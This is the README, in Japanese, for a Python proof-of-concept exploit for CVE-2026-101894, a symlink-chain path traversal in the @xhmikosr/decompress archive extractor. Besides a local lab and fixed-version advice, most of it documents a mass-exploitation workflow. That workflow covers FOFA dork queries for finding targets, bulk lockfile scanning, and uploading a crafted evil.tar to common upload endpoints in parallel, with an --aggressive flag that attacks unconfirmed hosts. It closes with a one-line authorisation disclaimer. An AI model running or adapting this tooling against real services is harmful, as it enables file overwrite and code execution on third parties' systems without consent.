
CVE-2026-101894 の Python PoC: @xhmikosr/decompress におけるシンボリックリンクチェーンによるパストラバーサル。ローカル Node ラボ、lockfile バージョンスキャン、および大量の evil.tar アップロードエクスプロイトを含みます。
CVE-2026-101894 の Python 3 PoC — @xhmikosr/decompress(およびメンテナンスされていない decompress)における Node.js のアーカイブ展開は、シンボリックリンクエントリの連鎖を介して 出力ディレクトリ外への読み取り/書き込みを可能にします。CVE-2026-53486 のハードニングのバイパスです。CVSS 3.1 9.1 Critical。
| PoCbit | https://pocbit.org/pocs/cve-2026-101894 |
| Catalog | https://pocbit.org/pocs/ |
| Package | @xhmikosr/decompress(メンテナンス済み)、decompress(kevva、未パッチ) |
| API | デフォルトの decompress(input, output) |
| CWE | CWE-22 パストラバーサル、CWE-59 リンクフォロー |
| Fixed | 10.2.2(10.x)、11.1.4(11.x) |
| GHSA | GHSA-hrh2-vp3x-79xf |
decompress は tar/zip などのアーカイブを対象フォルダに展開する際に字句的なパスチェックを適用しますが、連続するシンボリックリンクエントリにより、カーネルが後続のエントリを出力ディレクトリ外で解決する可能性があります。攻撃者が制御するアーカイブにより、config、startup script、または機密ファイルを上書き/読み取り可能 → RCE シナリオ(CI、コンテナ、アップロード+展開サービス)。
@xhmikosr/decompress の修正: 10.2.2 および 11.1.4。旧 decompress パッケージは 4.2.1 まで同じクラスに属し、パッチは提供されません — @xhmikosr/[email protected]+ に移行してください。
| モード | 目的 |
|---|---|
--lab | lab/ 内に 11.1.3 をインストールし、evil.tar シンボリックリンクチェーンによる外部への書き込みを検証 |
--write-evil-tar | ペイロードアーカイブをディスクに書き込む(POCBIT-101894-ESCAPED マーカー) |
check | リモートターゲットの package.json / lockfile → バージョンがリスクありか? |
exploit | シンボリックリンクチェーンの evil.tar で一般的なアップロードパスに POST(大量一括) |
| mass | --list + -j;hits.txt / exploited.txt |
リモートエクスプロイトは、サーバーが実際にアーカイブを decompress で展開していることを証明するものではありません;2xx アップロード受理 + 脆弱バージョンのフィンガープリントで exploited と見なされます。確実な証拠には --lab を使用してください。
hits.txt と exploited.txt(よくある状況)| 段階 | 何を証明するか |
|---|---|
| check → hits.txt | /package.json または /package-lock.json が公開されており、中に脆弱な decompress が含まれる |
| exploit → exploited.txt | PoC が試行した一般的なアップロード URL のうち少なくとも 1 つが HTTP 2xx を返した |
FOFA Express リストでは 500 スキャン → 2 ヒットは正常です。2 ヒット + 0 エクスプロイト(vulnerable_dep_no_upload_endpoint)も正常です:依存関係の漏洩 ≠ 公開アーカイブアップロード。この CVE の悪用には、アプリケーションが信頼できないアーカイブを decompress() で展開する必要があります;HID / ランダムな :8088 サイトでは、PoC の 8〜11 個のデフォルトパスのほとんどが存在しないことが多いです。
# チェーンの証拠(ローカル)
python poc.py --lab
# ヒット: 依存関係のみ + アップロード試行
python poc.py --list hits.txt --mode exploit -j 2
# 期待値: upload_ok=0, status vulnerable_dep_no_upload_endpoint
| パッケージ | 脆弱 | 修正済み |
|---|---|---|
@xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
@xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
decompress(kevva) | ≤ 4.2.1 | なし — 移行 |
cd CVE-2026-101894
pip install -r requirements.txt
ラボ: PATH 上の Node.js + npm(シンボリックリンク展開の挙動には Linux/macOS を推奨)。
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| フラグ | 意味 |
|---|---|
--lab | ローカル Node 展開 PoC |
--aggressive | 脆弱な lockfile が公開されていなくてもエクスプロイト |
--upload-paths | カスタムのカンマ区切り POST パス |
--exploited-list | アップロードが 2xx を返したターゲット |
シンボリックリンクチェーン(簡略化):
a/b/c/up → ../..a/b/escape → c/up/../..esc → ..…/pocbit_escape.txt11.1.4 リリースノートに記載された シンボリックリンクチェーンバイパスクラス(realpath / 包含修正)に一致します。
FOFA JSON → python _format_fofa.py fofa_results_1000.json
→ fofa_results_1000.json (url), fofa_results_1000.csv, fofa_targets_1000.txt
python poc.py --list fofa_targets_1000.txt --mode check -j 40 → hits.txt
python poc.py --list fofa_results_1000.csv --mode check -j 40 # url column
python poc.py --list hits.txt --mode exploit -j 8 --aggressive → exploited.txt
アップロード/zip の FOFA dork リスト(fofa_results_1000)は、Express のみの 500 リストよりもエクスプロイト対象として適しています;それでも ヒット = lockfile + 脆弱な decompress、エクスプロイト = アップロード 2xx です。
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
(lockfile が本番で公開されることは稀ですが、チェックによりステージング、CI アーティファクト、設定ミスのある静的ホスティングがしばしば見つかります。)
評価を許可されたシステムのみをテストしてください。悪意のあるアーカイブを第三者の本番サービスにアップロードしないでください。
CVE-2026-101894 PoC: @xhmikosr/decompress symlink-chain archive path traversal (bypass CVE-2026-53486). Node lab + lockfile scan + mass evil.tar upload exploit. CVSS 9.1. https://pocbit.org/pocs/cve-2026-101894